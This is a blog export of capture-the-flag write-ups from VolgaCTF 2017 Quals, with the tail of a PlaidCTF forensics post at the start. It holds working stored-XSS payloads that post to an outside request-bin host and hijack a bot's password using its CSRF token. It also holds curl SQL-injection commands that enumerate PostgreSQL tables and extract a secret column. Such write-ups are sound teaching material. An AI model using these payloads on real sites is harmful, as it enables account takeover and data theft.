2017-04-18 19:15:55 246 70 1 files
$ 7z e zipper.zip
Scanning the drive for archives:
1 file, 236 bytes (1 KiB)
Extracting archive: zipper.zip
--
Path = zipper.zip
Type = zip
Physical Size = 236
Everything is Ok
Size: 246
Compressed: 236
</pre>
<br />
Then catting the output, we get:
<br />
<br />
<pre>
$ cat AAAABBBB
Huzzah, you have captured the flag:
PCTF{f0rens1cs_yay}
</pre>
</div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-71588993155242710562017-03-27T00:06:00.002-07:002017-03-27T00:06:41.115-07:00VolgaCTF 2017 Quals - Corp News (300)<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<br />
<div class="example">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf8JiCPDUiX8P1IhMV_H847RLO3JWx8eYn3IE08SM7bVeCGs189N-zXduQlyCVtWHn4RMhxtWRgy6fwpy2PjrINki_GnvAozxpmia3NTCQ_TnJ2WSyVGMdWrF4DpFhtTPo5TeXGWg_G-c/s1600/corp-news.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="363" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf8JiCPDUiX8P1IhMV_H847RLO3JWx8eYn3IE08SM7bVeCGs189N-zXduQlyCVtWHn4RMhxtWRgy6fwpy2PjrINki_GnvAozxpmia3NTCQ_TnJ2WSyVGMdWrF4DpFhtTPo5TeXGWg_G-c/s640/corp-news.png" width="640" /></a></div>
<br />
<br />
Challenge Description:
<br />
<br />
<pre>We have created an excellent service for obtaining corporate news. You never know the secret information
corp-news.quals.2017.volgactf.ru
corp-news2.quals.2017.volgactf.ru
Hints
Some errors may shed light on what is there on the backend
</pre>
<br />
This challenge was a lot of fun, it was a mix of 2 bugs and required a little recon to find out more about the technology on the server.
<br />
<br />
First, when poking around the server, it displayed errors in the standard NodeJS Express way, so we could assume for now it's running a Node server. Ex.:
<br />
<br />
<a href="http://corp-news.quals.2017.volgactf.ru/unknown-page">http://corp-news.quals.2017.volgactf.ru/unknown-page</a>
<br />
<br />
<pre>Cannot GET /unknown-page
</pre>
<br />
<br />
Next we started looking at the cookies, this is where it got a little odd. We know the server is running Node & Express, why is there a cookie called PHPSESSIONID? What kind of mad world are we living in?!
<br />
<br />
<pre>PHPSESSID=s%3AtUPAeIpyJ6fxkjO495aXXk8uoeBLiPMx.oOGUyrAXrM%2FDwbeidRiY3WMVuYTLZOF1QdBX5uZnOiA
</pre>
<br />
It turns out this had nothing to do with the rest of the challenge, maybe just a strange developer decision to keep similar names when dealing with sessions...<br />
<br />
<br />
Once we're logged in, it redirects us to a profile page, the only feature on this page is a button to change our own password. There doesn't seem to be any apparent reason we would want to do this initially. Looking at the source it seemed fairly standard, the one interesting part to note is that there was some sort of CSRF token being passed to the backend for this page.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi42tP4xWNLK65zaSME-LyMVO7KLhQtijXhXKPk2q7UsKTknPRTJO-ICXnhUKcJJpKEOOd9kPZ-OVXiAp0SdZT-nIwwrBsn80JqdqS-Dz_kd4vTC44hyphenhyphenlB0CoUgBa0mO2JfADVHig0y8yA/s1600/profile.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="298" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi42tP4xWNLK65zaSME-LyMVO7KLhQtijXhXKPk2q7UsKTknPRTJO-ICXnhUKcJJpKEOOd9kPZ-OVXiAp0SdZT-nIwwrBsn80JqdqS-Dz_kd4vTC44hyphenhyphenlB0CoUgBa0mO2JfADVHig0y8yA/s400/profile.png" width="400" /></a></div>
<br />
<br />
Home doesn't have much on it, so the next page to look at is News.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitxm7fOL4hAyaYYWxIB4ZUqAs4s11X8lxrhyphenhyphenCRsfgFdKzMBGGsozAhD1HqXYMEyQwUkExm4yeTUHKnrW2xigunDI5WRytg0Gh1A4PPrg6Rd_xf58EHw_zbVcLwvID8YLnjMd9ftoiy56w/s1600/news-page.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="344" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitxm7fOL4hAyaYYWxIB4ZUqAs4s11X8lxrhyphenhyphenCRsfgFdKzMBGGsozAhD1HqXYMEyQwUkExm4yeTUHKnrW2xigunDI5WRytg0Gh1A4PPrg6Rd_xf58EHw_zbVcLwvID8YLnjMd9ftoiy56w/s640/news-page.png" width="640" /></a></div>
<br />
<br />
On the News page we get a small welcome message with a randomly generated username, a comment submission and a button to retrieve "private news". Reading private news sounds like an attractive target, so let's start there. When clicking this button we get a message written below saying:<br />
<br />
<pre>Please, set debug header true, becouse the app in developing state:)
</pre>
<br />
<br />
They want us to set some debug header, so let's see what we can modify. Initially we tried many different ideas. Sending HTTP headers, including 'debug=true', or 'debug:true' in the data of the post request, visiting News with ?debug=true, etc. It really came down to understanding what type of backend was setup.
<br />
<br />
First looking at the request in the front-end code, we can see some opportunities for modification:
<br />
<br />
<pre>...
<button onclick="loadNews()" class="btn btn-primary">Read private news</button>
...
function loadNews() {
var data = {
'resultFormat': 'text'
}
$.ajax({
type: 'POST',
url: '/news',
contentType: "application/json",
data: JSON.stringify(data),
success: function(data){
$('#private_news').text(data['message']);
$('#private_news').show(0).delay(1500).hide(0);
},
error: function (xhr, ajaxOptions, thrownError) {
data = JSON.parse(xhr.responseText);
$('#private_news_error').text('Error: ' + data['message']);
$('#private_news_error').show(0).delay(1500).hide(0);
}
});
}
</pre>
<br />
If we copy this function into the developer console and remove 'text' from the 'resultFormat' in data, we start to see an interesting error:<br />
<br />
<pre>Error: `result_format` (texsdfsdft) is not recognized, ('auto', 'json', 'jsonp', 'text', and 'binary' are allowed).
</pre>
<br />
<br />
When looking up '"result_format" javascript nodejs' on Google we find this issue on GitHub: <a href="https://github.com/rethinkdb/docs/issues/306#issuecomment-44475230">https://github.com/rethinkdb/docs/issues/306#issuecomment-44475230</a>
<br />
<br />
Under Optargs, this mentions: 'result_format=( text | json | jsonp | auto ): choose how to format the result (see below); default="auto"'
<br />
<br />
This looks very familiar! It sounds like we're working with RethinkDB on the backend!
<br />
<br />
Looking at the ReQL command reference on rethinkdb's site, we see the same options reflected back in the error - <a href="https://www.rethinkdb.com/api/javascript/http/#general-options">https://www.rethinkdb.com/api/javascript/http/#general-options</a>
<br />
<br />
This was nice when verifying we were really working with RethinkDB. Any keys added to data which were invalid, would throw, otherwise it would silently succeed. Displaying the adjacency between our dynamic tests and the documentation.
<br />
<br />
The interesting part of the ReQL documentation was the Request Options, this showed us a place for headers & db query params:
<br />
<a href="https://www.rethinkdb.com/api/javascript/http/#request-options">https://www.rethinkdb.com/api/javascript/http/#request-options</a>
<br />
<br />
<pre>method: HTTP method to use for the request. One of GET, POST, PUT, PATCH, DELETE or HEAD. Default: GET.
auth: object giving authentication, with the following fields:
type: basic (default) or digest
user: username
pass: password in plain text
params: object specifying URL parameters to append to the URL as encoded key/value pairs. { query: 'banana', limit: 2 } will be appended as ?query=banana&limit=2. Default: no parameters.
header: Extra header lines to include. The value may be an array of strings or an object. Default: Accept-Encoding: deflate;q=1, gzip;q=0.5 and User-Agent: RethinkDB/<version>.
data: Data to send to the server on a POST, PUT, PATCH, or DELETE request. For POST requests, data may be either an object (which will be written to the body as form-encoded key/value pairs) or a string; for all other requests, data will be serialized as JSON and placed in the request body, sent as Content-Type: application/json. Default: no data will be sent.
</version></pre>
<br />
<br />
The params feature would be great to control, unfortunately this did not work in this situation, and wasn't the intended target for this application. The key 'header' is very interesting for us, it allows us to inject custom headers which RethinkDB may use for various purposes. In this case, we're adding the custom debug flag:
<br />
<br />
<pre>function loadNews() {
var data = {
'resultFormat': 'text',
'header': {
'debug': 'true'
}
};
$.ajax({
type: 'POST',
url: '/news',
contentType: "application/json",
data: JSON.stringify(data),
success: function(data){
$('#private_news').text(data['message']);
$('#private_news').show(0).delay(1500).hide(0);
},
error: function (xhr, ajaxOptions, thrownError) {
data = JSON.parse(xhr.responseText);
$('#private_news_error').text('Error: ' + data['message']);
$('#private_news_error').show(0).delay(1500).hide(0);
}
});
}
</pre>
<br />
<br />
After loading this new patch, we can see it returns a different response:
<br />
<br />
<pre>VolgaCTF is an international inter-university cybersecurity competition organised by a group of IT enthusiasts based in Samara, Russia.VolgaCTF 2017 Quals is an online competition. Top teams will be invited to participate in VolgaCTF 2017 Finals, which will be held in Samara, Russia.Registration for the competition will be opened at the end of February.
</pre>
<br />
This was very nice to see, some progress that we're moving forward. Next let's look at the comment form.
<br />
<br />
When sending a standard comment, a small flash message pops up and disappears, nothing else noticeable happens.
<br />
<br />
<pre>Thank you, for your answer, my friend!:)
</pre>
<br />
This seems like a good place to test for XSS. After setting up a small remote server, we can see the request go through.
<br />
<br />
For this article, I'll be setting up small tests on <a href="https://requestb.in/">https://requestb.in/</a> to test it out again (very useful for this situation).
<br />
<br />
First we send a very simple XSS test to fingerprint the browser and figure out what we're working with:
<br />
<br />
<pre><script src="http://corp-news.quals.2017.volgactf.ru/public/vendor/bower_components/jquery/jquery.js"></script>
<script>
$.post("http://requestb.in/wtmd3swt", "SUCCESS!")
</script>
</pre>
<br />
This returns the following values (including the success message):
<br />
<br />
<pre>Connect-Time: 1
X-Request-Id: 034f6890-6cc8-429a-9408-1f8cd4720112
Accept: */*
Cf-Visitor: {"scheme":"http"}
Total-Route-Time: 0
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Host: requestb.in
Cf-Connecting-Ip: 77.244.214.227
Accept-Encoding: gzip
Accept-Language: en-US,*
Via: 1.1 vegur
Origin: http://127.0.0.1:3000
Cf-Ray: 34604e8380f74f38-DME
Content-Length: 8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Referer: http://127.0.0.1:3000/bot
Cf-Ipcountry: RU
</pre>
<br />
There were Three notable pieces of information here. First was that this came from an automated PhantomJS browser. Second was the referrer mentioning the term bot as well as the idea that the bot was most likely on the same box as the server: 'http://127.0.0.1:3000/bot'. The third chunk of information was that this server was running on port 3000, not what we expect since we originally visited the application over port 80. If we check port 300 it does exist on the server (without many of the resources) - <a href="http://corp-news.quals.2017.volgactf.ru:3000/">http://corp-news.quals.2017.volgactf.ru:3000/</a>
<br />
<br />
So we have some randomly created user (and their name from the comment box) running our script, maybe we should go back to that profile section and see if we can change this user's password?
<br />
<br />
With a simple script we can pull the profile page for the bot at '/lk' and check the CSRF token setup. Taking this token we can pass it along to the '/change_password' route and send a success or failure message to another request bin - <a href="https://requestb.in/1hvn43r1?inspect">https://requestb.in/1hvn43r1?inspect</a>
<br />
<br />
<pre><script src="http://corp-news.quals.2017.volgactf.ru/public/vendor/bower_components/jquery/jquery.js"></script>
<script>
var SERVER = 'http://requestb.in/1hvn43r1';
var P = "__s0m3Passw0rdH3r3__";
$.get('/lk', function(d) {
var t = $(d).find('.control-group .invisible').text();
var data = { "new_password": P, "confirm_password": P, "token": t };
$.ajax({
type: 'POST',
url: '/change_password',
contentType: 'application/json',
data: JSON.stringify(data),
success: function(xhr) {
$.post(SERVER, 'SUCCESS!!!');
},
error: function(xhr) {
$.post(SERVER, 'ERRZ');
}
});
});
</script>
</pre>
<br />
<br />
Looks like it worked! Now we can login as this user!<br />
<br />
Immediately we see a difference after we login:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipTalSMJr_lVNN_oNpDYnLhKFZZV5UcsKo3z9H7ZSiN7WdfAuHEotpQnhjb1uA_4lcTIAbvbK3ENlPfcqqyTI3QDp_dkFo15b11wCYXW1VcL7WritoYk3c8FuxT45HgxWAbNwoH_G_vmo/s1600/secret-header.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipTalSMJr_lVNN_oNpDYnLhKFZZV5UcsKo3z9H7ZSiN7WdfAuHEotpQnhjb1uA_4lcTIAbvbK3ENlPfcqqyTI3QDp_dkFo15b11wCYXW1VcL7WritoYk3c8FuxT45HgxWAbNwoH_G_vmo/s1600/secret-header.png" /></a></div>
It looks like we've got a 'secret' header value to try out. Let's go back to the News section and insert it into the header section.<br />
<br />
Setting the loadNews() function up again with the new 'secret' value:<br />
<br />
<pre>function loadNews() {
var data = {
'resultFormat': 'text',
'header': {
'secret': 'asdJHF7dsJF65$FKFJjfjd773ehd5fjsdf7',
'debug': 'true'
}
};
$.ajax({
type: 'POST',
url: '/news',
contentType: "application/json",
data: JSON.stringify(data),
success: function(data){
$('#private_news').text(data['message']);
$('#private_news').show(0).delay(1500).hide(0);
},
error: function (xhr, ajaxOptions, thrownError) {
data = JSON.parse(xhr.responseText);
$('#private_news_error').text('Error: ' + data['message']);
$('#private_news_error').show(0).delay(1500).hide(0);
}
});
}
</pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifSkynFZyf4W1rTDH1Gm9N8ANyyJz17aLs2rAVNWF0r09ZFRTDCKu0gxMf7XcoP69xW7s0knqnP7RLYQjb09zttjuoC9T6z6cfthsBmACDj_t_YOt8bYPgcoA7uh6Sig8nge2-RsxeCTE/s1600/news-flag.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifSkynFZyf4W1rTDH1Gm9N8ANyyJz17aLs2rAVNWF0r09ZFRTDCKu0gxMf7XcoP69xW7s0knqnP7RLYQjb09zttjuoC9T6z6cfthsBmACDj_t_YOt8bYPgcoA7uh6Sig8nge2-RsxeCTE/s1600/news-flag.png" /></a></div>
<br />
<br />
And we have the flag!
<br />
<br />
<pre>
VolgaCTF{rethinkdb_nearly_without_nosqlInj_and_some_clientside}
</pre>
<br />
<br /></div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-30865713226788957052017-03-26T21:08:00.001-07:002017-03-26T21:08:52.272-07:00VolgaCTF 2017 Quals - VC (50)<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<br />
<div class="example">
This was a very quick one, instantly saw this coming with the low point score, two images and description:
<br />
<br />
<pre>
There are files A.png and B.png. But where's the flag?
</pre>
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOBodUzueMRKto_7it8Kr9r8HLr18TFqBM5lPXNyyd601v48jdQCwrCL2eiuoH5Xca-jL7R3YhGUoTnlXXJS4f14NFMg9Qj7V0KfHljmCvdFVCdSA9SB2nlQMwjmTo2peS8F0E3j06bws/s1600/A.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOBodUzueMRKto_7it8Kr9r8HLr18TFqBM5lPXNyyd601v48jdQCwrCL2eiuoH5Xca-jL7R3YhGUoTnlXXJS4f14NFMg9Qj7V0KfHljmCvdFVCdSA9SB2nlQMwjmTo2peS8F0E3j06bws/s1600/A.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_aj9VpI13xaF0YMPQEoroMx6U3AM75fr2OkSzaJ52cVn4gUG3_uqY9I9BoN5tU9SacW-qlzLgFCJaZRmRdXr34TJxzblcIE3h0rwsXdizaPhnAGze5TfZbnexlLUgwFdoSl2q5nKBAlM/s1600/B.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_aj9VpI13xaF0YMPQEoroMx6U3AM75fr2OkSzaJ52cVn4gUG3_uqY9I9BoN5tU9SacW-qlzLgFCJaZRmRdXr34TJxzblcIE3h0rwsXdizaPhnAGze5TfZbnexlLUgwFdoSl2q5nKBAlM/s1600/B.png" /></a></div>
<br />
<br />
Primarily posting this to show off a feature in <a href="https://www.wechall.net/forum/show/thread/527/Stegsolve_1.3/page-1">StegSolve</a>.
<br />
<br />
After loading StegSolve, open up the first png, (File > Open > [choose A.png]).
<br />
Next go to Analyse > Image Combiner, and select B.png.
<br />
The first option XOR should instantly solve this challenge (for other algorithms, use the left and right arrow to preview them).
<br />
<br />
You may then save the result for later use : )
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmkEvw3OMDXKGNDaoWxsiqGDbB289gqvVpszGZ3elYeY_8jpZwr3sWFJbbF8X0OaL1155EnSUGz8nMCVUH-X-lbeR3i5WLnKsecrGBmqxvcrao70KYobG1hLOa7udBlmoieT8mgsicGEE/s1600/solved.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmkEvw3OMDXKGNDaoWxsiqGDbB289gqvVpszGZ3elYeY_8jpZwr3sWFJbbF8X0OaL1155EnSUGz8nMCVUH-X-lbeR3i5WLnKsecrGBmqxvcrao70KYobG1hLOa7udBlmoieT8mgsicGEE/s1600/solved.bmp" /></a></div>
<br />
</div>.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-2357122238334459852017-03-26T20:49:00.003-07:002017-03-26T20:49:50.571-07:00VolgaCTF 2017 Quals - Bloody Feedback (100)<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<br />
<div class="example">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje-rELIm-dc1VkPAM6KBLUQXEEMa-QyuZc9qUshyphenhyphenJSQG6RI_tQNhDJlU5fvsfinDL1yPHIxiPbZf5bVRV8i2Ed26aWEXGsA5XeJTluRBruUiuNxZiVOkDRIN1H-6-7pPm0DTBw-NRYkXI/s1600/boody-initial.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="411" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje-rELIm-dc1VkPAM6KBLUQXEEMa-QyuZc9qUshyphenhyphenJSQG6RI_tQNhDJlU5fvsfinDL1yPHIxiPbZf5bVRV8i2Ed26aWEXGsA5XeJTluRBruUiuNxZiVOkDRIN1H-6-7pPm0DTBw-NRYkXI/s640/boody-initial.png" width="640" /></a></div>
<br />
Disclaimer: During this challenge, I binge watched all of <a href="https://www.blogger.com/www.imdb.co.uk/title/tt0262150/">Black Books</a>. This explains the memes below.
<br />
<br />
Starting out we're presented with a feedback form to submit some data (name, email, message).
<br />
<br />
There was also an input field at the top right looking like a search box. Immediately tried putting a tick mark there to see if an error would be reflected:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGkSJtkT8OZ1mYRzZTL2gGvVSdH0N7LZBWWqSE0yuJxKlbZX3mLd24ed6Pt1pRYGPn67qovfwCz_s43v7ofrhBDEgStIxDtI3lXnaeo37cy0xSZXKJQaukdsp86iJVmKXdcps1DE8-8OM/s1600/bloody-wrong-code.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGkSJtkT8OZ1mYRzZTL2gGvVSdH0N7LZBWWqSE0yuJxKlbZX3mLd24ed6Pt1pRYGPn67qovfwCz_s43v7ofrhBDEgStIxDtI3lXnaeo37cy0xSZXKJQaukdsp86iJVmKXdcps1DE8-8OM/s1600/bloody-wrong-code.png" /></a></div>
<br />
<br />
This will send us to <a href="http://bloody-feedback.quals.2017.volgactf.ru/check/?code=%27">http://bloody-feedback.quals.2017.volgactf.ru/check/?code=%27</a>.<br />
Immediately inferring this is a perl application looking at the file extension noted in the error: Worker.pm<br />
<br />
After playing around with the code looking for command-injection it turns out the application would accept any 32 byte string within the character range [A-Za-z0-9]. Looks like we couldn't get too far with this.<br />
<br />
Valid URL ex.: <a href="http://bloody-feedback.quals.2017.volgactf.ru/check/?code=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">http://bloody-feedback.quals.2017.volgactf.ru/check/?code=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</a><br />
<br />
<br />
The next area to check was the initial feedback form. Email had to be turned on, which seemed to be a good field to play with.<br />
<br />
This seemed to have a very simple front-end validation setup for email, where type="email" in the markup.<br />
<br />
Any feedback submitted is displayed in the "Top Messages" section, except the email field. This helped when testing for XSS / CSRF, SQLi, etc. But "Top Messages" did not seem to be reflecting any errors or execution.<br />
<br />
Next we try an invalid email, maybe a quote mark to check for SQLi:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; margin-left: -140px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5xC-pHVxWXi731x9N6HACi-GXFaFypjJuVauXt36FbjP1mjH4XMoNYbyWLyTPG9QY1fYruNQ4FfETMX4CkLkGfHWCeaLWPRp2N6x7wAw-8gfD82qoOFubmzcCN36dxEYLSLwtRt7UbzU/s1600/bloody-pg-error.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5xC-pHVxWXi731x9N6HACi-GXFaFypjJuVauXt36FbjP1mjH4XMoNYbyWLyTPG9QY1fYruNQ4FfETMX4CkLkGfHWCeaLWPRp2N6x7wAw-8gfD82qoOFubmzcCN36dxEYLSLwtRt7UbzU/s1600/bloody-pg-error.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg22HPFkePDDcb-Ud7pG-ecA6YAuXciVu_fw8iaT38S6vIloqoeedbv3S64jti6HrB6YXI8mt3oqUEw_7YxVNmqGsf5bRg9bV3KNY96WDspQk0s2nBJuTOVEdN8iiY0CJI6GzBvXzHZmN0/s1600/bloody-wut%253F.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg22HPFkePDDcb-Ud7pG-ecA6YAuXciVu_fw8iaT38S6vIloqoeedbv3S64jti6HrB6YXI8mt3oqUEw_7YxVNmqGsf5bRg9bV3KNY96WDspQk0s2nBJuTOVEdN8iiY0CJI6GzBvXzHZmN0/s1600/bloody-wut%253F.gif" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Sooooo, looks like SQLi, right?</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
If we look up DBD::Pg::db, we find the reference <a href="http://search.cpan.org/dist/DBD-Pg/Pg.pm">http://search.cpan.org/dist/DBD-Pg/Pg.pm</a></div>
<div class="separator" style="clear: both; text-align: left;">
Also from looking at it, one could infer this is a Postgres db.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Let's try a few different types of injections until we get back to a non-error state!</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
First to get this into a scriptable state, we'll dump the cURL command from Chrome's Developer Tools. In the network tab, go to the submission request, right click > Copy > Copy as cURL.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
After pasting this on the command-line, hitting ctrl+x+e we can open in $EDITOR (currently set to VIM for this session). In VIM we can use :%s/-H/-H \\\r/g to clean up the lines of the request. Now we can go ahead and delete most of the headers which won't be used in this challenge. This ends up turning into a one-liner, but for other challenges this may be different.</div>
<br />
<pre>$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=x&message=x&email='" </pre>
<br />
This will dump the page contents and we can grep for any errors that get reflected back:<br />
<br />
<pre>$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=',version())-- - " | grep -i error -A6
</pre>
<br />
This will dump:
<br />
<br />
<pre>
ERROR: DBD::Pg::db do failed: ERROR: value too long for type character varying(30) at Worker.pm line 29.
</pre>
<br />
It looks like version() returns a string that's too long, so we can cut it using substr().
<br />
<br />
<pre>
$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', substr(version(), 0, 30))-- - "
...
<p><h3>Check status</h3><a href='/check/?code=Gc5n5Z2DcOCOAul3g2yRSaLU9uSpHncI'>Gc5n5Z2DcOCOAul3g2yRSaLU9uSpHncI</a></p>
...
</pre>
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiuUxxwqvv9b06Ukv9SeOmnOxPzmRQ1F0nofwMr9SZz2JpN2EKN66ocv3bu3McRYOAZysQsenfwX5iNGGgatzHOettGmnMTGNRFuy-k78vHXtNnAmcaAsoZUirRldE0iBzdg8lv5n1UVU/s1600/bloody-postgres-version.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiuUxxwqvv9b06Ukv9SeOmnOxPzmRQ1F0nofwMr9SZz2JpN2EKN66ocv3bu3McRYOAZysQsenfwX5iNGGgatzHOettGmnMTGNRFuy-k78vHXtNnAmcaAsoZUirRldE0iBzdg8lv5n1UVU/s1600/bloody-postgres-version.png" /></a></div>
<br />
Now let's do something a little more interesting....
<br />
<br />
To get the table names we can query pg_catalog.pg_tables for tablename, this will return multiple rows, if we set a limit and offset, we can enumerate all values.
<br />
<br />
<pre>
url 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (SELECT tablename FROM pg_catalog.pg_tables limit 1 offset 1)) -- - "
</pre>
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEDF1NEcBH4u1ULHFwvfiPKkv5PtMn_2ldUvtlptkdIpDVYEIyZroAOSfPuDzH7H9nsAELFbCUmNfjX6i3PdSVRbvoV7Sxbok0Gl-_S_wTVecKPORxScxD5BUrguTBWpNBew6NfM-LAi4/s1600/bloody-table.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEDF1NEcBH4u1ULHFwvfiPKkv5PtMn_2ldUvtlptkdIpDVYEIyZroAOSfPuDzH7H9nsAELFbCUmNfjX6i3PdSVRbvoV7Sxbok0Gl-_S_wTVecKPORxScxD5BUrguTBWpNBew6NfM-LAi4/s1600/bloody-table.png" /></a></div>
<br />
<br />
So we've got the table name, now we need to find any interesting column names, we can do that by looking at column_name in information_schema.columns:
<br />
<br />
<pre>
curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (select column_name from information_schema.columns limit 1 offset 6 )) -- - "
</pre>
<br /><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglHSO5DCreS-QMy154yQ9Hltz9h_2Jv2-ZlMz2cBlm1TuMp7kYgaFrysAjlxfMIBdhyphenhyphenMHrd3f9cqzW1VBaxks3s_qdTViJj2EyyOusgvGorgFe3uXKUmbjgVa4s7vm7x4K-zcCYQwtxLc/s1600/bloody-column.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglHSO5DCreS-QMy154yQ9Hltz9h_2Jv2-ZlMz2cBlm1TuMp7kYgaFrysAjlxfMIBdhyphenhyphenMHrd3f9cqzW1VBaxks3s_qdTViJj2EyyOusgvGorgFe3uXKUmbjgVa4s7vm7x4K-zcCYQwtxLc/s1600/bloody-column.png" /></a></div>
<br />
<br />
Now when we combine those two together:
<br />
<br />
<pre>
curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 4 )) -- - "
</pre>
<br />
